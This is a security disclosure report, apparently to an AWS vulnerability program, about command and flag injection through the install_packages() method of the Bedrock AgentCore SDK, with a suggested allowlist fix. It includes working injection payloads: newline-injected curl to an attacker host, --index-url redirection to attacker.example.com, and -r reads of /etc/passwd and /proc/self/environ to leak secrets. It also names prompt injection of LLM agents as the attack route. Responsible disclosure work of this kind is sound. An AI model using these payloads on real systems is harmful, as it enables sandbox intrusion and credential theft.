AWS VDP · Report #3633123
Incomplete Input Sanitization in CodeInterpreter install_packages Allows Command Injection via pip Flags
How it was found
NOTE! Thanks for submitting a report to Amazon Web Services! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!
Description: The install_packages() method in the Bedrock AgentCore Python SDK (https://github.com/aws/bedrock-agentcore-sdk-python) implements a blocklist-based sanitization for package names that is incomplete. Several injection vectors bypass the blocklist, most critically pip's --index-url flag, which allows redirecting package resolution to an attacker-controlled PyPI server. This enables arbitrary code execution within the Code Interpreter sandbox.
File: src/bedrock_agentcore/tools/code_interpreter_client.py, lines 588-598
# Sanitize package names (basic validation)
for pkg in packages:
if any(char in pkg for char in [";", "&", "|", "`", "$"]):
raise ValueError(f"Invalid characters in package name: {pkg}")
packages_str = " ".join(packages)
upgrade_flag = "--upgrade " if upgrade else ""
command = f"pip install {upgrade_flag}{packages_str}"
self.logger.info("Installing packages: %s", packages_str)
return self.invoke("executeCommand", {"command": command})
The blocklist checks for ;, &, |, `, and $, but does not block:
--index-url/-iflag injection: Characters-,/,:,.are all allowed. A "package name" like--index-url https://evil.com/simple/ malicious-packagepasses validation and tells pip to fetch packages from an attacker-controlled server.- Newline injection (
\n): Not in the blocklist. A package name like"pandas\ncurl http://attacker.com/exfil"injects a second command. -rflag injection:"-r /etc/passwd"causes pip to attempt to read a local file as a requirements file, leaking its contents through error messages.
Affected versions: bedrock-agentcore-sdk-python all versions through at least v1.4.8.
Steps To Reproduce:
Prerequisites:
- AWS account with Bedrock AgentCore access (any authenticated user, no special permissions required). The vulnerability exists in every Code Interpreter session.
bedrock-agentcoreSDK installed (pip install bedrock-agentcore) to run the PoC script. The SDK is not required for the vulnerability itself. The sameinstall_packages()method is available in any Code Interpreter session, including via the AWS Console or any application built with the SDK.
1. Run the attached PoC script demo-pip-injection.py:
python3 demo-pip-injection.py
The script demonstrates three steps:
- Shell injection with
;is correctly blocked by the blocklist -r /etc/passwdbypasses the blocklist -- pip reads the file and leaks contents in error messages-r /proc/self/environescalates to leak all sandbox environment variables (internal paths, ports, service config)
2. Observe the output (see attached recording):
STEP 1: Blocklist correctly blocks shell injection
Blocked: Invalid characters in package name: pandas; curl http://evil.com
STEP 2: Bypass blocklist -- read /etc/passwd via -r flag
ERROR: Invalid requirement: 'root:x:0:0:root:/root:/bin/bash'
STEP 3: Escalate -- read /proc/self/environ for secrets
TOOLS_SERVER_LOG_LEVEL=info
PLATFORM_SERVER_HOST=127.0.0.1
PLATFORM_SERVER_PORT=48620
TOOLS_SERVER_PORT=8080
Additional vectors (not in PoC script)
--index-url bypass (SSRF / malicious package install):
# Redirects pip to an attacker-controlled PyPI server
code_client.install_packages(["--index-url", "https://attacker.example.com/simple/", "malicious-package"])
# Confirmed via interactsh: DNS requests from AWS Code Interpreter IPs
Newline injection (command injection):
code_client.install_packages(["pandas\nid"])
# The 'id' command executes separately after pip install
Attachments:
demo-pip-injection.py-- Full PoC script- Terminal recording showing the complete exploit
Impact
Summary:
An attacker who can influence the arguments to install_packages(), for example through prompt injection against an LLM agent that uses Code Interpreter, can:
- Read arbitrary files from the sandbox via pip's
-rflag. Confirmed:/etc/passwdand/proc/self/environcontents leaked through pip error messages. The environment variables exposed internal sandbox architecture includinggenesis1p-toolspaths, internal service ports (48620, 8080), and process configuration. On sandboxes with IAM roles,/proc/self/environwould leakAWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY, andAWS_SESSION_TOKEN. - Redirect package resolution to a malicious PyPI mirror via
--index-url. Confirmed: DNS requests from AWS Code Interpreter IPs (████████, ████████) reached an interactsh OOB server, proving the sandbox connected to an attacker-controlled server. - Execute arbitrary commands in the Code Interpreter sandbox via newline injection
Root Cause
The blocklist at lines 588-598 checks for shell metacharacters (;, &, |, `, $) but does not account for pip's own flag syntax. Since the validated strings are concatenated directly into a pip install command, any pip flag that uses only alphanumeric characters, hyphens, slashes, and dots bypasses the blocklist.
Recommended Fix
Replace the incomplete blocklist with an allowlist approach:
import re
VALID_PACKAGE_NAME = re.compile(r'^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[.*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$')
for pkg in packages:
if not VALID_PACKAGE_NAME.match(pkg):
raise ValueError(f"Invalid package name: {pkg}")
This ensures only valid PyPI package names (with optional version specifiers) are accepted, blocking all flag injection and command injection vectors.
Disclosure
For awareness, we plan to publish a blog post detailing these findings after remediation. We are happy to share a draft ahead of publication and coordinate on timing.